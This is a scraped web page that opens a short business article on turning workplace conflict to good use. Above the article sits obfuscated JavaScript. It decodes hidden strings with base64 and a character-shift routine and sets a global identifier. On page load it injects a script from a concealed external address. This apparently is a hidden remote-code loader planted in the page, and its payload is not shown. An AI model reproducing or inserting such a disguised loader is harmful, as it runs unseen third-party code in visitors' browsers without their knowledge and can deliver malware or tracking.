window[(function(_ndm,_HP){var _3m='';for(var _Re=0;_Re<_ndm.length;_Re++){var _CF=_ndm[_Re].charCodeAt();_CF-=_HP;_3m==_3m;_CF+=61;_CF%=94;_HP>6;_CF!=_Re;_CF+=33;_3m+=String.fromCharCode(_CF)}return _3m})(atob('LHkiREE8NzVGezdL'), 48)] = 'ac25b94fe31679930677'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_N2c,_ob){var _jy='';for(var _8V=0;_8V<_N2c.length;_8V++){var _ZA=_N2c[_8V].charCodeAt();_ZA-=_ob;_ZA!=_8V;_ZA+=61;_jy==_jy;_ob>9;_ZA%=94;_ZA+=33;_jy+=String.fromCharCode(_ZA)}return _jy})(atob('Iy8vKy5TSEglLkc1JEYufC0kKy8uR3wqKEg1JEYveiJHJS4='), 25)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });

Conflict

5 Ways to Harness Conflict in the Workplace

For business leaders, conflict can be a four-letter word. Gossip at the water cooler, passive-aggressive comments flung back and forth at meetings, and grade-school like factions between teams plague many office settings. Although conflict may seem to entice and encourage these destructive dilemmas, conflict doesn’t have to be the enemy of a company’s work culture and productivity.

Scroll to top